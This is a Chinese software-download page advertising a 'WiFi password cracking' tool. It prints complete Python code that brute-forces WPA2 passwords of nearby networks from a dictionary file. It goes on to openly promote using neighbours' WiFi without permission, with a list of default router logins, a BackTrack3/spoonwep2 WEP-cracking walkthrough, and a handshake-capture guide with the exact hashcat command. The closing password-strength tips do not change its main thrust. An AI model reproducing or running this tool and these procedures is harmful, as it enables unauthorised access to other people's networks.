编辑点评:
wifi密码强制破解软件是一款非常好用的wifi密码破解工具,它是由论坛网友制作分享的,通过这款软件可以帮助用户轻松破解wifi,目前这款软件还是测试版本,可能会有一些问题,后续会更新优化,有需要的朋友可以下载体验。
软件代码
import PySimpleGUI as sg
import pywifi
from pywifi import const
import time, os.path
# 设置全局默认设置
sg.set_options(font=("微软雅黑", 10))
# 定义UI布局
layout = [[sg.Text("2.选择破解的WIFI名称:")],
[sg.Combo(values=[], key="-WIFI NAME-", size=(40, None)), sg.Button("1.查找WIFI", key="-SCAN WIFI-")],
[sg.Text("3.选择密码字典文件:")],
[sg.InputText(key="-KEY LIST-"), sg.FileBrowse("选择文件", target="-KEY LIST-", key="-FILE CHOOSE-")],
[sg.Button("4.执行检查", key="-CHECK-"), sg.Button('5.开始破解', key="-START-", auto_size_button=False, disabled=True)],
[sg.Output(key="-OUTPUT-", size=(54, 20))]]
# 创建Window
window = sg.Window('Window Title', layout)
# 创建网卡
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()
iface = None
if len(ifaces) > 0:
iface = ifaces[0]
def scan_wifi():
"""扫描附近的WIFI"""
print("开始扫描WIFI,请稍候……")
iface.scan()
time.sleep(2)
results = []
for res in iface.scan_results():
if len(res.ssid) > 0 and res.ssid not in results:
results.append(res.ssid)
window["-WIFI NAME-"].update(values=results)
print("扫描完毕")
def check():
"""检查破解前的准备工作是否完备"""
if iface is None:
print("你的计算机没有网卡,请退出!")
window["-START-"].update(disabled=True)
return
else:
print("计算机网卡已选定:" + iface.name())
wifiname = values["-WIFI NAME-"]
if (wifiname is None) or (len(wifiname) == 0):
print("WIFI名称不能为空")
return
else:
print("WIFI名称:" + wifiname)
keylist = values["-KEY LIST-"]
if (keylist is None) or (len(keylist) == 0):
print("密码字典路径不能为空")
else:
if os.path.exists(keylist) and os.path.isfile(keylist):
print("密码字典路径:" + keylist)
window["-START-"].update(disabled=False)
else:
print("密码字典路径不正确")
def wifi_connect(interface, wifiname, password):
"""
尝试进行 WiFi 连接
:param interface: 网卡对象
:param wifiname: WiFi名称
:param password: WiFi密码
:return: True or False, 连接成功或者失败
"""
if interface.status() != const.IFACE_DISCONNECTED:
interface.disconnect() # 断开连接
time.sleep(0.5)
profile = pywifi.Profile() # 创建WiFi连接文件
profile.ssid = wifiname # WiFi的ssid,即wifi的名称
profile.key = password # WiFi密码
profile.auth = const.AUTH_ALG_OPEN # 开放网卡
profile.akm.append(const.AKM_TYPE_WPA2PSK) # WiFi的加密类型,现在一般的wifi都是wpa2psk
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
interface.remove_all_network_profiles() # 清空profile列表
interface.add_network_profile(profile) # 添加profile
interface.connect(profile) # 连接WiFi
time.sleep(1)
if interface.status() == const.IFACE_CONNECTED:
return True
return False
def crack(wifiname, keylist):
"""
使用密码字典的方式暴力破解 WiFi 密码
:param wifiname: WiFi名称
:param keylist: 密码字典
:return: 破解出的密码
"""
with open(keylist, "r", encoding="utf-8") as f:
for key in f.readlines():
key = key.strip()
print("正在尝试密码:" + key)
isok = wifi_connect(iface, wifiname, key)
if isok:
print("连接成功!WiFi:" + wifiname + " 密码:" + key)
return key
else:
print("连接失败,密码错误")
# 事件处理循环
while True:
# 调用read()显示窗口,等待用户交互
event, values = window.read()
# 以下就是事件处理的逻辑
# 如果用户点击关闭窗口,就退出
if event == sg.WINDOW_CLOSED:
break
# 扫描WIFI
elif event == "-SCAN WIFI-":
scan_wifi()
# 执行检查
elif event == "-CHECK-":
check()
# 开始破解
elif event == "-START-":
print("开始破解")
crack(values["-WIFI NAME-"], values["-KEY LIST-"])
# 关闭Window
window.close()
软件说明
这两天在家无聊,想写点小工具玩玩,于是看了一下PySimpleGUI,写了一个暴力**wifi的软件
这是练习作品,不要指望它真能破解邻居的WIFI密码
密码字典是网上随便下载的,破解的WIFI也是我家的WIFI,再次重申,这只是练习作品!!!
WIFI密码如何破解
WIFI密码如何破解? 最无奈的事情莫过于有WiFi却不知道WiFi密码,下面给大家介绍几个方法, 教你百分之百成功蹭网。
手机上面破解wifi蹭网
方法一:默认密码大猜想
以下为常见路由器默认密码(一些新手新买的路由器一般嫌麻烦都不会修改密码哦)
品牌:ViKing用户名:adsl 密码:adsl1234
品牌:实达默认IP:192.168.10.1版本:
用户名:admin 密码:conexant
版本:2110ehr v4.5用户名:root 密码:grouter
用户名:admin 密码:starnetadsl
品牌:艾玛默认IP:192.168.101.1用户名:admin 密码:admin
品牌:神州数码/华硕用户名:adsl 密码:adsl1234
品牌:全向用户名:root 密码:root
品牌:普天用户名:putian 密码:123456
品牌:e-tek用户名:admin 密码:12345
品牌:zyxel用户名:anonymous密码:1234
品牌:北电用户名:anonymous 密码:1234
5品牌:大恒用户名:admin 密码:admi
n品牌:大唐用户名:admin 密码:1234
品牌:斯威特用户名:root 密码:root
用户名:user 密码:user
品牌:中兴用户名:adsl 密码:adsl831
品牌:BENQ用户名:user 密码:benq1234
品牌:华硕用户名:ADSL 密码:adsl1234
腾达192.168.0.1 admin / admin
用户名:admin 密码:admin
WIFI密码如何破解 教你百分之百成功蹭网
方法二:推荐使用“wifi万能钥匙”
当然,wifi万能钥匙并不是万能的,其原理而是将已知得免费公共wifi热点的资源集中在一起,如果当你所在的地方搜索到 wifi万能钥匙数据库的wifi后便自动连接。它并不能让你进入别人加密的wifi。如果以前进入过某个wifi,现在又无法进入,那么可能是以前 wifi的所有者并没有加密,现在加密了,或者密码被修改了!
电脑上面破解wifi蹭网
比起电脑上面相对简单多了,当然手机的方法也绝对适用于电脑上面!同时,很有必要我告诉大家一些新的方法高科技黑客方法!(核心方法)
方法: BackTrack3(BT3破解)
准备工作
1、一个有可破解无线信号的环境。如我在家随便搜索出来的信号。
2、带无线网卡的电脑一台(笔记本台式机均可,只要无线网卡兼容BT3),我用的是三星NC10的上网本。
3、4G以上优盘一个(我用的是kingston 8G 的)
4、下载BT3,约900多兆。注:BT3 全称BackTrack3,与我们常说的bt下载是完全不同的概念。以我理解就是集成了一些计算机安全软件的linux系统。正是由于它的出世和不断普及,使得破解可让普通用户轻易言之。
5、下载spoonwep2中文包。注:spoonwep2就是我们的破解软件,一个非常强悍的图形化破解WEP无线网络密码的工具。
安装篇
1、将优盘格式化,配置如下图,唯一要注意文件系统选为FAT32就可以了。
2、将刚才下载完成的bt3解压缩,复制到优盘,完成后会看到优盘目录下有两个文件夹,一个boot 一个BT3。
3、开始安装bt3系统。点击开始-运行,输入CMD, 然后回车,进入命令行模式 。首先输入你优盘的盘符,我这里是h盘,输入h: 然后回车。接下来输入 cd boot 回车,进入到boot文件夹下。最后 bootinst.bat 回车,就会开始安装BT3然后安装会出现一个提示画面,我们别去管它,直接按任意键继续。按任意键后,电脑会自动设置引导记录,整个过程大概10秒左右。出现下面画面后,此优盘就可以引导系统进去bt3了。
4、集成spoonwep2软件。首先把我们先前下载的spoonwep2解压缩,里面是六个扩展名为lzm的文件,将这六个文件复制到U盘t3modules文件夹下。
5、这样我们的bt3系统已经集成安装完毕了,可以动手破解了。
破解篇
1、将安装好系统的优盘插入电脑,重启后进入bios,设置优盘为电脑第一启动顺序。(这个如果没设置过,可以问一下其他人,或者在网上找找设置方法,每台电脑进入bios的方法也不同,如开机按F2,Del,F1等等)
2、设置优盘启动后,电脑会自动带入我们进入bt3操作系统(如果出现界面选择,你要选择vesa mode)。
3、启动spoonwep2软件。
第一步:选择开始-backtrack->radio network analysis->80211->all->spoonwep2,跟windows操作一样,启动spoonwep2后会看到选择网卡信息设置窗口,需要我们依次设置本地网卡接口,无线网卡芯片类型以及扫描模式,选择完毕后点next继续。
第二步:点NEXT按钮后进入到具体扫描窗口,我们点右上角的LAUNCH按钮开始扫描,再按该按钮是停止扫描。
第三部:软件会自动扫描周边的无线网络,扫描过程中会自动罗列出找到的无线网络的信息,传输速度,截获的通讯数据包大小,使用的无线信号频端,加密类别等。
第四步:扫描了一段时间,差不多有好几个信号了。你选择一个进行破解,我选了了“bingo, 用鼠标单击bingo,会出现上图一样的白色阴影,然后点下面的“selection ok”即可。
第五步,也是最激动人心的一步。完成第四步后,出现一个窗口。约过了8分钟,wep密码自然而然就出来了,呵呵,到时有你激动的。(破解中,会抓取ivs数据包,以我经验一般在20000-30000之间可以解密了)
四、连接篇
得到了密码,我们试试看看能不能连上重新回到windows系统,用刚才得到的密码,来连接binggo网络,密码自然是正确的,马上就连上了。
Wifi密码破解实战
准备工作
先说一下大概的流程:扫描无线网—获取握手包(抓包)—暴力破解握手包(跑包)—得出密码。 其中,抓包和跑包是最关键的两个步骤,可能耗费大量的时间,还有些运气成分。
主要工具: cdlinux:小型的 Linux 系统,用于抓包,中文带界面,可以放到U盘中;
hashcat:异常强大的密码破解工具,支持 GPU 加速,除了支持破解 WPA,还能破解 md5、zip 等密码;
U盘:运行 CDLinux,保存抓包文件,容量在512M以上;
带无线网卡的 PC 机:笔记本或者有外置无线网卡的台式机均可,最好有独立显卡,可以提高跑包效率。
辅助工具: UltraISO、BOOTICE、grldr 和 menu.lst,用于从U盘启动 CDLinux。
第一步:安装 CDLinux
需要用到 UltraISO、BOOTICE、grldr、menu.lst、CDLinux。
1. 格式化U盘,文件系统为 FAT32,卷标设置为 CDLINUX;
2. 运行 UltraISO,依次点击文件–打开–选择下载好的 CDLinux –打开;点击左上角窗口的 CDLINUX,将右侧窗口的 CDLinux 目录和 mkisofs.sh 文件复制到U盘根目录;
如下图所示:
注意,此时还不能从U盘启动;
3. 关闭 UltraISO,把 grldr 和 menu.lst 两个文件复制到U盘;
4. 运行 BOOTICE.EXE,目标磁盘选择U盘,然后点击主引导记录,选择 GRUB4DOS,点击 安装/配置,新窗口中,选中 禁止搜索软盘上的 GLLDR、禁止按 C 无条件进入命令行控制台、禁止引导分区别表无效的原引导记录,引导文件名输入 GRLDR(自动转大写),然后点击写入磁盘,提示成功后点击确定。
5. 关闭 BOOTICE.EXE,将U盘插到带无线网卡的电脑上,开启无线网卡,重启电脑,选择从U盘启动。
第二步:抓包
需要用到已经安装 CDLinux 的U盘。
1. 进入到 CDLinux 的桌面后,运行 minidwep-gtk,图标在左下角,像水滴一样,弹出的警告窗口点 OK;
2. 点击扫描按钮,附近的无线网络信息都会显示出来;
3. 优先选择信号强并且有客户端的无线网络:
第三列,强度,都是负数那一列,越接近0表示信号越强;
最后一列,客户端 MAC,有 MAC 地址时,容易抓包;如果没有,调整天线位置,重新扫描;
4. 点击启动,开始抓包;有没有握手包,完全看运气,所以尽量在上网高峰时段抓包,成功率更高;
5. 抓到握手包时,会提示是否搜索密码,选择 NO,一会用别的工具跑包;
6. 然后会提示文件保存在 /tmp 目录下,点击 OK 后,提示是否保存到硬盘分区,将类似 MAC 地址_handshake.cap.hccap 的文件保存好,我这保存为 A8_handshake.cap.hccap,一会跑包时会用到。
第三步:跑包
需要用到 hashcat。
跑包是整个过程的重中之重,核心思路就是穷举密码,暴力破解。这个环节很耗时,我尝试过若干工具均不理想,速度太慢,完全不能用于实际操作。
如果要穷举所有密码,肯定不现实。想一下我们常用的密码,基本是8位纯数字,所以我们先从8位纯数字密码入手。hashcat 刚好符合要求,在 GPU 加速的情况下,跑8位纯数字密码大约15分钟,在可接受的范围,帮助文档和官方 Wiki 足够详细,照着例子抄就能跑起来。
解压 hashcat-3.30.7z,将刚才保存的握手包 A8_handshake.cap.hccap 拷贝进来,以管理员身份启动 cmd,进入到 hashcat 目录; 新建批处理 Run.bat,并编辑,将下面的内容复制进去并保存:
hashcat64.exe -m 2500 -a3 A8_handshake.cap.hccap ?d?d?d?d?d?d?d?dpause
大概解释一下各个参数作用:
-m 2500:破解 WPA2 密码
-a3:暴力破解
A8_handshake.cap.hccap:握手包文件
?d?d?d?d?d?d?d?d:每个 ?d 表示数字,连在一起表示8位纯数字
pause 是批处理命令,防止 hashcat 运行结束后自动退出。
其余详细的参数信息,参考 hashcat 的帮助提示,因为内容非常多,滚屏查看很不方便,所以需要将帮助信息重定向输出到文件中:
hashcat64.exe --help > help.txt
查看 help.txt 就方便多了。
运行 Run.bat,然后就是等待了,这是运行时的样子:
这次运气不错,很快就跑出来了,耗时三分半钟。很明显,密码是8位出生年月日:
下面两张图,是破解11位纯数字密码和8位数字字母标点混合密码所需要的时间:
总结
1. 8位纯数字密码不要再使用了,太容易被破解了;
2. 大小写混合字母 + 数字 + 标点符号,即使位数较少,也比位数更长的纯数字密码更难破解;
3. WPAWPA2 密码并非绝对安全,但是增加密码复杂度可以提高破解难度;推荐密码为字母+标点+数字,这样输入起来比较方便;
4. 抓的包越多,破解的成功率越高;
5. 我想换4路 GTX1080。。。
热门评论
最新评论